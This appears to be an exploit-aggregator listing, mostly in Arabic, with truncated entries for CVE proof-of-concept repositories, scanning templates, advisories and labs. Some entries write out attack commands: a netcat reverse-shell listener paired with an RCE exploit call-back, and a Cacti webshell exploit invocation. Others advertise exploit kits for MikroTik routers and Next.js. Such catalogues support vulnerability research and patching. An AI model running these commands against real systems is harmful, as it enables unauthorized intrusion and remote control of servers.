MCPJam-Inspector-1.4.2-Remote-Code-Execution-CVE-2026-23744

على كالي لينكس - الطرفية 1 nc -lvnp 4444 على كالي لينكس - الطرفية 2 python3 ./CVE-2026-23744.py -t http://TARGET.com -p 4444 -i YOUR-KALI-LINUX-IP...

NextJS-Exploit-

NextSploit: ماسح ومستغل لـ CVE-2025-29927 في Next.js NextSploit هي أداة سطر أوامر مصممة لاكتشاف واستغلال CVE-2025-29927 ، وهو عيب أمني في Next.js. تقوم الأداة أولاً بتحديد ما إذا كان الموقع المستهدف يعمل بـ Next.js وتحدد ما إذا كان إصداره يقع ضمن النطاق المعرض للخطر. إذا تم تأكيد أن الموقع معرض...

MikroTik-RouterOS-6.49.18-Exploit-Kit

MikroTik-RouterOS-6.49.18-Exploit-Kit 📋 ملخص مشروع MikroTik RouterOS 6.49.18 Exploit Kit 🎯 نظرة عامة تم إنشاء مشروع احترافي وشامل لاختراق أجهزة MikroTik RouterOS 6.49.18 يتضمن جميع المكونات المطلوبة مع واجهة عربية كاملة وتوثيق مفصل. ✅ المكونات المكتملة 1️⃣ سكربتات الاختراق 7 سكربتات ✅ المميزات...

CVE-2021-4044

سكربت فحص SSL يحتوي هذا المستودع على سكربت بايثون يتحقق من إصدار OpenSSL على نظامك ويختبر اتصالات SSL/TLS بموقع ويب يقدمه المستخدم. صُمم السكربت لتحديد ما إذا كان النظام متأثرًا بـ CVE-2021-4044 ولاختبار معالجة أخطاء SSL أثناء عملية الاتصال. الميزات فحص إصدار OpenSSL: يتحقق السكربت من إصدار OpenS...

n8n Webhooks - Remote Code Execution

n8n is an open source workflow automation platform. Versions starting with 1.65.0 and below 1.121.0 enable an attacker to access files on the underlying server through execution of certain form-based workflows. A vulnerable workflow could grant access to an unauthenticated remote attacker,...

VMware NSX SD-WAN Edge - Command Injection

VMware NSX SD-WAN Edge formerly VeloCloud Edge before 3.1.2 contains an unauthenticated command injection in the local web UI diagnostic tools Ping/Traceroute. This template detects it reliably by injecting 'id', 'whoami', and a random marker. id: CVE-2018-6961 info: name: VMware NSX SD-WAN Edge ...

Atom CMS v2.0 - SQL Injection

AtomCMS v2.0 was discovered to contain a SQL injection vulnerability via /admin/login.php. id: CVE-2022-24223 info: name: Atom CMS v2.0 - SQL Injection author: theamanrawat severity: critical description: | AtomCMS v2.0 was discovered to contain a SQL injection vulnerability via /admin/login.php...

IBM Planning Analytics - Authentication Bypass & Remote Code Execution Version Detection

IBM Planning Analytics versions 2.0.0 through 2.0.8 are vulnerable to a configuration overwrite that allows an unauthenticated user to login as "admin", and then execute code as root or SYSTEM via TM1 scripting. id: CVE-2019-4716 info: name: IBM Planning Analytics - Authentication Bypass & Remote...

mac0352-ep4

mac0352-ep4 دراسة ثغرة أمنية في Apache HTTP Server 2.4.23 CVE-2016-8740...

Security Bulletin: Due to use of NodeJS, IBM Cloud Pak System is affected by multiple vulnerabilities

Summary Due to use of NodeJS libraries, IBM Cloud Pak System Software is affected by multiple vulnerabilities. These have been addressed in IBM Cloud Pak System Software version 2.3.5.1. Vulnerability Details CVEID:CVE-2026-22036 DESCRIPTION: Undici is an HTTP/1.1 client for Node.js. Prior to...

CVE-2025-11844-smolagents

🔐 إطار محاكاة حقن XPath Smolagents CVE-2025-11844 صندوق رمل تدقيقي تعليمي وماسح ضوئي ديناميكي لإثبات المفهوم يوضح ثغرة حقن XPath الموجودة في مكتبة smolagents من Hugging Face حتى الإصدار 1.2.0. 🔍 ملف الثغرة المقياس| التفاصيل ---|--- رمز CVE| CVE-2025-11844 المكون المستهدف| دالة searchitemctrlf داخ...

CVE-2012-2122-Home-Lab

الإنجليزية أدناه CVE-2012-2122 معمل منزلي لتجاوز مصادقة MySQL هذا المعمل هو مثال توضيحي للثغرة CVE-2012-2122 - MySQL Authentication Bypass وهي ناتجة عن خطأ في مقارنة قيم كلمات المرور في MySQL الإصدار 5.5.23 أو أقل فعندما يرسل المهاجم كلمة مرور خاطئة بشكل متكرر عدة مرات، قد يسمح MySQL بتسجيل الدخو...

CVE-2021-4773

CVE-2021-4773 ceci est un exemple pratique de la manière d'exploiter la vulnérabilité CVE-2021-4773 avec une machine virtuelle pour ce tutoriel, vous avez besoin des éléments suivants machine virtuelle comme kali linux machine virtuelle comme ubuntu server installer apache version 2.4.49 alors...

CVE-2025-24367-Cacti-Exploit

CVE-2025-24367-WebShell Exploit لقد أنشأت هذا النص البرمجي الصغير لـ CVE-2025-24367 - من Cacti، وهو نص برمجي مصمم للحصول على webshell بفضل الثغرة في Cacti في الإصدار 1.2.28. استخدام النص البرمجي: python CVE-2025-24367-Exploit.py --url "http://webEjemplo.htb/cacti/" --user "usuario" --password...

openjpeg-2.3.0_CVE-2020-27824

مكتبة وتطبيقات OPENJPEG ما هو OpenJPEG؟ OpenJPEG هو برنامج ترميز Codec مفتوح المصدر لتنسيق JPEG 2000 مكتوب بلغة C. تم تطويره من أجل تعزيز استخدام JPEG 2000، وهو معيار ضغط للصور الثابتة من مجموعة خبراء التصوير المشتركة JPEG. منذ أبريل 2015، أصبح معترفًا به رسميًا من قبل ISO/IEC و ITU-T كـ برنامج...

CVE-2024-6387-nmap

سكربت Nmap للتحقق من ثغرات OpenSSH الوصف يتحقق سكربت openssh-vuln-checker.nse مما إذا كان الخادم يشغّل إصدارًا معرّضًا للخطر من OpenSSH CVE-2024-6387. يتصل بمنفذ SSH، ويسترجع لافتة SSH banner، ويقارنها بقائمة الإصدارات المعروفة بأنها معرّضة للخطر. الإصدارات المعرّضة للخطر يتحقق السكربت من الإصدار...

log4j-1.2.15-mod

لا يحتوي هذا المستودع على ملف README...

CVE-2026-35204

CVE-2026-35204 يمثل هذا المستودع إثباتًا عمليًا PoC لثغرة CVE-2026-35204 الوصف "Helm هو مدير حزم لمخططات Kubernetes. من الإصدار 4.0.0 إلى 4.1.3، عند تثبيت أو تحديث إضافة Helm مصممة بشكل خاص، سيتسبب Helm في كتابة محتويات الإضافة إلى موقع عشوائي في نظام الملفات. لمنع ذلك، تحقق من أن ملف plugin.yaml...

CVE-2022-42889

CVE-2022-42889 تطبيق اختبار يحتوي هذا المستودع على تطبيق بسيط يستخدم Apache Commons Text 1.9، وهو عرضة للثغرة CVE-2022-42889. تشغيل التطبيق قم ببناء التطبيق وتشغيله عبر docker: docker build . -t vulnerable-app docker run vulnerable-app $ docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS...

CVE-2024-39722

أداة استغلال ثغرة CVE-2024-39722 في Ollama تم تصميم هذه الأداة لاستغلال ثغرة CVE-2024-39722، وهي ثغرة كشف وجود النموذج في Ollama حتى الإصدار 0.1.45. تتيح للمستخدمين التحقق مما إذا كان خادم Ollama معرضًا للخطر ومحاولة اكتشاف النماذج الموجودة على الخادم. بالإضافة إلى ذلك، يمكنها زحف مكتبة نماذج...